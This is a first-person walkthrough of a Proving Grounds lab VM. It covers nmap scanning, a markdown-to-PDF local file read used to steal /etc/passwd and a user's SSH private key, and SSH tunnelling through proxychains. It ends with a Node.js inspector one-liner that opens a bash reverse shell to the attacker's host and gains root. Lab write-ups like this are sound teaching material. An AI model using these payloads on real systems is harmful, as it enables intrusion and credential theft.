CTF-200-03

Hola! This is my first write-up(ever)! Faced with a lack of results while researching hints for this VM, I decided to create a walk-through to assist others who might be stuck, just as I was.

Information

Navigating through this Proving Grounds VM presented quite a challenge. The extensive research undertaken proved instrumental, enabling me to delve deeper into the nuances of enumerating targets.

Name

CTF-200-03

Difficulty

Intermediate

Community Rating

Very Hard

Enumerated Ports & Services

Port

Description

Protocol

SSH

TCP (6)

3000

Node.js custom app with markdown to PDF conversion form

TCP (6)

First, let's run nmap to enumerate open ports!

# Change the target IP to the one in your lab environment
$ sudo nmap -sS -p1-65535 192.168.170.34 -oN 34_nmap

After the ports were enumerated, a service/script scan was performed on the open ports:

# Change the target IP to the one in your lab environment
$ sudo nmap -sVC -p22,3000 192.168.170.34 -oN 34_nmap_svc

Findings

The website hosted a nodejs app to convert a markdown file (.md) to a PDF file (.pdf) using the markdown-pdf library:

Local File Read Vulnerability CVE-2023-0835

After researching a bit, this library has a local file read vulnerability. I was able to create a markdown file with XSS script code to leverage the file read. The code below is the content of my test.md file.

# this is h1
<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:////etc/passwd");x.send();</script>

After uploading the markdown file, the resulting PDF was automatically downloaded and opened. The file's contents included the details from /etc/passwd:

After enumerating the user 'sau,' I attempted to read the local.txt flag, and the attempt was successful:

# this is h1
<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:////home/sau/local.txt");x.send();</script>

Then, I checked if the user had an ssh private key available...

# this is h1
<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:////home/sau/.ssh/id_rsa");x.send();</script>

... and there it was ;)

I attempted to use it for SSH. While it is valid, the /etc/passwd output indicates that the user has /usr/sbin/nologin, meaning no shell is provided. Despite multiple attempts, the Remote Command Execution (RCE) exploit for md-to-pdf proved unsuccessful. Something is missing... Need to sleep!

After researching my PEN-200 notes on SSH tunneling, I successfully created an SSH Dynamic Forward tunnel, as it doesn't require an interactive login. This tunnel enabled me to conduct further investigation using nmap through proxychains. Once the nmap scan finished, I discovered an internal port listening on localhost at port 1313:

# SSH Dynamic Port Forward Tunnel / Change the target IP to the one in your lab environment
$ ssh -N -f -D8080 -i id_rsa [email protected]

Then edit the end of the /etc/proxychains4.conf configuration file to use the Dynamic port forward as a socks5 proxy:

# /etc/proxychains4.conf
...
#socks5 127.0.0.1 1080
socks5 127.0.0.1 8080

After saving the proxychains configuration file, I ran the nmap scan on 127.0.0.1 through proxychains to enumerate any services running on localhost and found port 1313/tcp open:

# Change the target IP to the one in your lab environment
$ sudo proxychains -q nmap -sT -Pn -p1024-2000 127.0.0.1 --open

SSH port forwarding and proxychains exclusively transmit the payload of TCP connections, excluding the original raw IP packets. It's crucial to note that a SYN scan, devoid of a TCP connection and lacking any application payload, is incompatible with port forwarding and other TCP proxies. For nmap to effectively operate with proxychains, it is imperative to opt for a TCP Connect() scan (-sT) instead of a SYN scan (-sS).

Additionally, to complete the configuration, we need to disable the proxy of our DNS requests by commenting out the proxy_dns option in the /etc/proxychains4.conf configuration file.

PS. If you know what proxy_dns does when enabled then kudos to you :) for this exercise, I found it more effective when running an nmap through proxychains.

After banner grabbing the port with netcat, I discovered that a WebSocket connection was expected.

$ nc 127.0.0.1 1313

After conducting research on the web and in OffSec's Discord, I came across this link. I then created a SSH tunnel with Local Port Forwarding, mapping the same 1313 port to the internal one on 127.0.0.1.

# Change the target IP to the one in your lab environment
$ ssh -N -L 192.168.45.187:1313:127.0.0.1:1313 -i hey [email protected]

Following the information in the aforementioned link, I launched Chromium and entered chrome://inspect in the address bar. You should see the Remote Target under devices belonging to the local port forward ssh tunnel:

When you click on the inspect link below it, the Chromium DevTools opens a new window in Sources tab displaying the source code of app.js:

After thoroughly reviewing the source code without finding any useful information, I turned to the console to explore the possibility of executing local commands and, hopefully, elevating privileges.

Privilege Escalation

After multiple trial and error attempts, I gained a reverse shell and obtained root access through Remote Command Execution:

process.mainModule.require('child_process').exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.45.187/4444 0>&1'")

Final notes

This challenge was a lot of fun and required a bit of research and hints (no regrets). Reaching the objective was, needless to say, a fantastic adventure.